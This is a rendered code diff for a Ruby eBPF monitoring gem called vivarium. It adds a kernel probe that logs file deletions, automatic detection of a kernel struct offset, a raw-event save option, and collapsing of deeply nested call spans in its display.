while (rec = io.read(EVENT_STRUCT_SIZE))
|
|
75
|
+
break if rec.bytesize < EVENT_STRUCT_SIZE
|
|
76
|
+
|
|
77
|
+
events << unpack_record(rec)
|
|
78
|
+
end
|
|
79
|
+
{ meta: meta, events: events }
|
|
80
|
+
end
|
|
81
|
+
end
|
|
82
|
+
end
|
|
@@ -84,6 +84,8 @@ module Vivarium
|
|
|
84
84
|
all_spans_for_assign = (synthetic_spans + real_spans).sort_by { |s| s.start_ktime || 0 }
|
|
85
85
|
assign_events_to_spans(all_spans_for_assign, sorted)
|
|
86
86
|
|
|
87
|
+
collapse_deep_spans(root_real_spans)
|
|
88
|
+
|
|
87
89
|
print_header
|
|
88
90
|
print_warnings
|
|
89
91
|
print_observer_proc(root_with_synthetics)
|
|
@@ -142,6 +144,47 @@ module Vivarium
|
|
|
142
144
|
[closed, children_map]
|
|
143
145
|
end
|
|
144
146
|
|
|
147
|
+
# Trim method-call span nesting deeper than @display_filter.max_span_depth.
|
|
148
|
+
# The deep span frames are dropped, but their events are promoted onto the
|
|
149
|
+
# deepest still-visible ancestor span so no security-relevant event is lost.
|
|
150
|
+
def collapse_deep_spans(root_real_spans)
|
|
151
|
+
max = @display_filter.max_span_depth
|
|
152
|
+
return unless max
|
|
153
|
+
|
|
154
|
+
depth = {}
|
|
155
|
+
stack = root_real_spans.map { |s| [s, 1] }
|
|
156
|
+
until stack.empty?
|
|
157
|
+
span, d = stack.pop
|
|
158
|
+
depth[span] = d
|
|
159
|
+
(@children_map[span] || []).each { |child| stack.push([child, d + 1]) }
|
|
160
|
+
end
|
|
161
|
+
|
|
162
|
+
depth.each do |span, d|
|
|
163
|
+
next unless d == max
|
|
164
|
+
|
|
165
|
+
descendants = collect_descendant_spans(span)
|
|
166
|
+
next if descendants.empty?
|
|
167
|
+
|
|
168
|
+
descendants.each do |desc|
|
|
169
|
+
span.events.concat(desc.events)
|
|
170
|
+
desc.events = []
|
|
171
|
+
end
|
|
172
|
+
span.events.sort_by!(&:ktime_ns)
|
|
173
|
+
@children_map[span] = []
|
|
174
|
+
end
|
|
175
|
+
end
|
|
176
|
+
|
|
177
|
+
def collect_descendant_spans(span)
|
|
178
|
+
result = []
|
|
179
|
+
stack = (@children_map[span] || []).dup
|
|
180
|
+
until stack.empty?
|
|
181
|
+
child = stack.pop
|
|
182
|
+
result << child
|
|
183
|
+
stack.concat(@children_map[child] || [])
|
|
184
|
+
end
|
|
185
|
+
result
|
|
186
|
+
end
|
|
187
|
+
|
|
145
188
|
def assign_descendants(spans, events)
|
|
146
189
|
sorted_spans = spans.reject(&:synthetic).sort_by(&:start_ktime)
|
|
147
190
|
|
data/lib/vivarium/version.rb
CHANGED
data/lib/vivarium.rb
CHANGED
|
@@ -330,6 +330,15 @@ module Vivarium
|
|
|
330
330
|
"old_name=#{old_name.inspect} new_name=#{new_name.inspect}"
|
|
331
331
|
end
|
|
332
332
|
|
|
333
|
+
def self.decode_file_unlink_payload(raw_payload)
|
|
334
|
+
bytes = raw_payload.to_s.b
|
|
335
|
+
filename = c_string(bytes[0, 128])
|
|
336
|
+
parent_dir = c_string(bytes[128, 128])
|
|
337
|
+
result = "filename=#{filename.inspect}"
|
|
338
|
+
result += " parent_dir=#{parent_dir.inspect}" if !parent_dir.empty?
|
|
339
|
+
result
|
|
340
|
+
end
|
|
341
|
+
|
|
333
342
|
def self.decode_file_chmod_payload(raw_payload)
|
|
334
343
|
bytes = raw_payload.to_s.b
|
|
335
344
|
return "" if bytes.bytesize < 2
|
|
@@ -563,6 +572,9 @@ module Vivarium
|
|
|
563
572
|
when "file_rename"
|
|
564
573
|
decoded = decode_file_rename_payload(event.payload)
|
|
565
574
|
decoded.empty? ? event.payload.inspect : decoded
|
|
575
|
+
when "file_unlink"
|
|
576
|
+
decoded = decode_file_unlink_payload(event.payload)
|
|
577
|
+
decoded.empty? ? event.payload.inspect : decoded
|
|
566
578
|
when "file_chmod"
|
|
567
579
|
decoded = decode_file_chmod_payload(event.payload)
|
|
568
580
|
decoded.empty? ? event.payload.inspect : decoded
|
|
@@ -640,6 +652,11 @@ module Vivarium
|
|
|
640
652
|
struct qstr d_name;
|
|
641
653
|
};
|
|
642
654
|
|
|
655
|
+
struct dentry {
|
|
656
|
+
char __pad[__VIVARIUM_DENTRY_D_PARENT_OFFSET__];
|
|
657
|
+
struct dentry *d_parent;
|
|
658
|
+
};
|
|
659
|
+
|
|
643
660
|
struct sockaddr_t {
|
|
644
661
|
u16 sa_family;
|
|
645
662
|
unsigned char sa_data[14];
|
|
@@ -1423,6 +1440,33 @@ module Vivarium
|
|
|
1423
1440
|
return 0;
|
|
1424
1441
|
}
|
|
1425
1442
|
|
|
1443
|
+
LSM_PROBE(inode_unlink, struct inode *dir, struct dentry *dentry)
|
|
1444
|
+
{
|
|
1445
|
+
u64 pid_tgid = bpf_get_current_pid_tgid();
|
|
1446
|
+
u32 pid = pid_tgid >> 32;
|
|
1447
|
+
u32 tid = (u32)pid_tgid;
|
|
1448
|
+
|
|
1449
|
+
if (!target_enabled(pid, tid)) {
|
|
1450
|
+
return 0;
|
|
1451
|
+
}
|
|
1452
|
+
|
|
1453
|
+
struct event_t ev = {};
|
|
1454
|
+
ev.pid = pid;
|
|
1455
|
+
__builtin_memcpy(ev.event_name, "file_unlink", 12);
|
|
1456
|
+
|
|
1457
|
+
if (dentry) {
|
|
1458
|
+
read_dentry_name(dentry, &ev.payload[0], 128);
|
|
1459
|
+
|
|
1460
|
+
struct dentry *parent = dentry->d_parent;
|
|
1461
|
+
if (parent && parent != dentry) {
|
|
1462
|
+
read_dentry_name(parent, &ev.payload[128], 128);
|
|
1463
|
+
}
|
|
1464
|
+
}
|
|
1465
|
+
|
|
1466
|
+
submit_event(&ev);
|
|
1467
|
+
return 0;
|
|
1468
|
+
}
|
|
1469
|
+
|
|
1426
1470
|
LSM_PROBE(path_chmod, struct path *path, umode_t mode)
|
|
1427
1471
|
{
|
|
1428
1472
|
u64 pid_tgid = bpf_get_current_pid_tgid();
|
|
@@ -1717,9 +1761,11 @@ module Vivarium
|
|
|
1717
1761
|
|
|
1718
1762
|
f_path_offset = detect_f_path_offset
|
|
1719
1763
|
d_name_offset = detect_dentry_d_name_offset
|
|
1764
|
+
d_parent_offset = detect_dentry_d_parent_offset
|
|
1720
1765
|
program = BPF_PROGRAM_TEMPLATE
|
|
1721
1766
|
.gsub("__VIVARIUM_F_PATH_OFFSET__", f_path_offset.to_s)
|
|
1722
1767
|
.gsub("__VIVARIUM_DENTRY_D_NAME_OFFSET__", d_name_offset.to_s)
|
|
1768
|
+
.gsub("__VIVARIUM_DENTRY_D_PARENT_OFFSET__", d_parent_offset.to_s)
|
|
1723
1769
|
|
|
1724
1770
|
usdt_so_paths = resolve_usdt_so_paths
|
|
1725
1771
|
usdt_contexts = build_usdt_contexts(usdt_so_paths)
|
|
@@ -1756,6 +1802,7 @@ module Vivarium
|
|
|
1756
1802
|
puts "[vivariumd] started"
|
|
1757
1803
|
puts "[vivariumd] pinned maps in #{@pin_dir}"
|
|
1758
1804
|
puts "[vivariumd] watching LSM file_open (f_path offset=#{f_path_offset})"
|
|
1805
|
+
puts "[vivariumd] watching inode_unlink (d_parent offset=#{d_parent_offset}, d_name offset=#{d_name_offset})"
|
|
1759
1806
|
puts "[vivariumd] API listening on unix:#{@socket_path}"
|
|
1760
1807
|
|
|
1761
1808
|
loop do
|
|
@@ -2062,6 +2109,56 @@ module Vivarium
|
|
|
2062
2109
|
rescue Errno::ENOENT
|
|
2063
2110
|
raise Error, "bpftool is required to resolve struct dentry::d_name offset"
|
|
2064
2111
|
end
|
|
2112
|
+
|
|
2113
|
+
def detect_dentry_d_parent_offset
|
|
2114
|
+
env_offset = ENV["VIVARIUM_DENTRY_D_PARENT_OFFSET"]
|
|
2115
|
+
return Integer(env_offset, 10) if env_offset
|
|
2116
|
+
|
|
2117
|
+
raw = IO.popen(
|
|
2118
|
+
%w[bpftool btf dump file /sys/kernel/btf/vmlinux format raw],
|
|
2119
|
+
err: IO::NULL,
|
|
2120
|
+
&:read
|
|
2121
|
+
)
|
|
2122
|
+
|
|
2123
|
+
in_dentry_struct = false
|
|
2124
|
+
d_parent_bits_offset = nil
|
|
2125
|
+
|
|
2126
|
+
raw.each_line do |line|
|
|
2127
|
+
if line =~ /^\[\d+\] STRUCT 'dentry' /
|
|
2128
|
+
in_dentry_struct = true
|
|
2129
|
+
next
|
|
2130
|
+
end
|
|
2131
|
+
|
|
2132
|
+
if in_dentry_struct && line.start_with?("[")
|
|
2133
|
+
break
|
|
2134
|
+
end
|
|
2135
|
+
|
|
2136
|
+
next unless in_dentry_struct
|
|
2137
|
+
|
|
2138
|
+
if (match = line.match(/'d_parent'.*bits_offset=(\d+)/))
|
|
2139
|
+
d_parent_bits_offset = Integer(match[1], 10)
|
|
2140
|
+
break
|
|
2141
|
+
end
|
|
2142
|
+
end
|
|
2143
|
+
|
|
2144
|
+
if d_parent_bits_offset
|
|
2145
|
+
if (d_parent_bits_offset % 8).positive?
|
|
2146
|
+
raise Error, "unsupported d_parent bits offset=#{d_parent_bits_offset}"
|
|
2147
|
+
end
|
|
2148
|
+
|
|
2149
|
+
if d_parent_bits_offset >= 1024
|
|
2150
|
+
warn "[vivariumd] suspicious d_parent offset=#{d_parent_bits_offset / 8}, fallback to offset=0"
|
|
2151
|
+
return 0
|
|
2152
|
+
end
|
|
2153
|
+
|
|
2154
|
+
return d_parent_bits_offset / 8
|
|
2155
|
+
end
|
|
2156
|
+
|
|
2157
|
+
warn "[vivariumd] could not find struct dentry::d_parent in BTF, fallback to offset=0"
|
|
2158
|
+
0
|
|
2159
|
+
rescue Errno::ENOENT
|
|
2160
|
+
raise Error, "bpftool is required to resolve struct dentry::d_parent offset"
|
|
2161
|
+
end
|
|
2065
2162
|
end
|
|
2066
2163
|
|
|
2067
2164
|
class ObservationSession
|
|
@@ -2083,15 +2180,15 @@ module Vivarium
|
|
|
2083
2180
|
end
|
|
2084
2181
|
end
|
|
2085
2182
|
|
|
2086
|
-
def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, &block)
|
|
2183
|
+
def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil, &block)
|
|
2087
2184
|
if block_given?
|
|
2088
|
-
return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, &block)
|
|
2185
|
+
return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw, &block)
|
|
2089
2186
|
end
|
|
2090
2187
|
|
|
2091
|
-
top_observe(socket_path: socket_path, dest: dest, filter: filter)
|
|
2188
|
+
top_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw)
|
|
2092
2189
|
end
|
|
2093
2190
|
|
|
2094
|
-
def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil)
|
|
2191
|
+
def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil)
|
|
2095
2192
|
client = DaemonClient.new(socket_path: socket_path)
|
|
2096
2193
|
pid = Process.pid
|
|
2097
2194
|
main_tid = gettid
|
|
@@ -2101,7 +2198,8 @@ module Vivarium
|
|
|
2101
2198
|
observer_pid: pid,
|
|
2102
2199
|
main_tid: main_tid,
|
|
2103
2200
|
filter: filter,
|
|
2104
|
-
dest: dest
|
|
2201
|
+
dest: dest,
|
|
2202
|
+
save_raw: save_raw
|
|
2105
2203
|
)
|
|
2106
2204
|
correlator.start
|
|
2107
2205
|
client.register(pid)
|
|
@@ -2116,7 +2214,7 @@ module Vivarium
|
|
|
2116
2214
|
session
|
|
2117
2215
|
end
|
|
2118
2216
|
|
|
2119
|
-
def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil)
|
|
2217
|
+
def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil, save_raw: nil)
|
|
2120
2218
|
client = DaemonClient.new(socket_path: socket_path)
|
|
2121
2219
|
pid = Process.pid
|
|
2122
2220
|
main_tid = gettid
|
|
@@ -2126,7 +2224,8 @@ module Vivarium
|
|
|
2126
2224
|
observer_pid: pid,
|
|
2127
2225
|
main_tid: main_tid,
|
|
2128
2226
|
filter: filter,
|
|
2129
|
-
dest: dest
|
|
2227
|
+
dest: dest,
|
|
2228
|
+
save_raw: save_raw
|
|
2130
2229
|
)
|
|
2131
2230
|
correlator.start
|
|
2132
2231
|
client.register(pid)
|
|
@@ -2260,6 +2359,7 @@ end
|
|
|
2260
2359
|
|
|
2261
2360
|
require_relative "vivarium/daemon_client"
|
|
2262
2361
|
require_relative "vivarium/api_server"
|
|
2362
|
+
require_relative "vivarium/raw_store"
|
|
2263
2363
|
require_relative "vivarium/correlator"
|
|
2264
2364
|
require_relative "vivarium/display_filter"
|
|
2265
2365
|
require_relative "vivarium/tree_renderer"
|
data/sig/vivarium.rbs
CHANGED
|
@@ -69,6 +69,7 @@ module Vivarium
|
|
|
69
69
|
def self.decode_file_symlink_payload: (String raw_payload) -> String
|
|
70
70
|
def self.decode_file_hardlink_payload: (String raw_payload) -> String
|
|
71
71
|
def self.decode_file_rename_payload: (String raw_payload) -> String
|
|
72
|
+
def self.decode_file_unlink_payload: (String raw_payload) -> String
|
|
72
73
|
def self.decode_file_chmod_payload: (String raw_payload) -> String
|
|
73
74
|
def self.decode_file_getdents_payload: (String raw_payload) -> String
|
|
74
75
|
def self.render_event_payload: (Event event) -> String
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: vivarium
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.5.
|
|
4
|
+
version: 0.5.2
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Uchio Kondo
|
|
@@ -61,6 +61,7 @@ executables:
|
|
|
61
61
|
extensions: []
|
|
62
62
|
extra_rdoc_files: []
|
|
63
63
|
files:
|
|
64
|
+
- ARCHITECTURE.md
|
|
64
65
|
- CONTEXT.md
|
|
65
66
|
- LICENSE
|
|
66
67
|
- README.md
|
|
@@ -68,6 +69,7 @@ files:
|
|
|
68
69
|
- examples/box_demo.rb
|
|
69
70
|
- examples/dlopen_demo.rb
|
|
70
71
|
- examples/drop_demo.rb
|
|
72
|
+
- examples/dummy_post_demo.rb
|
|
71
73
|
- examples/env_access_external_demo.rb
|
|
72
74
|
- examples/env_access_ruby_demo.rb
|
|
73
75
|
- examples/execve_demo.rb
|
|
@@ -75,6 +77,7 @@ files:
|
|
|
75
77
|
- examples/network_client_demo.rb
|
|
76
78
|
- examples/privilege_event_demo.rb
|
|
77
79
|
- examples/raise_demo.rb
|
|
80
|
+
- examples/save_raw_demo.rb
|
|
78
81
|
- examples/signal_kill_demo.rb
|
|
79
82
|
- examples/ssl_write_demo.rb
|
|
80
83
|
- examples/sudo_attempt_demo.rb
|
|
@@ -89,6 +92,7 @@ files:
|
|
|
89
92
|
- lib/vivarium/daemon_client.rb
|
|
90
93
|
- lib/vivarium/display_filter.rb
|
|
91
94
|
- lib/vivarium/http_decoder.rb
|
|
95
|
+
- lib/vivarium/raw_store.rb
|
|
92
96
|
- lib/vivarium/tree_renderer.rb
|
|
93
97
|
- lib/vivarium/version.rb
|
|
94
98
|
- logo-simple.png
|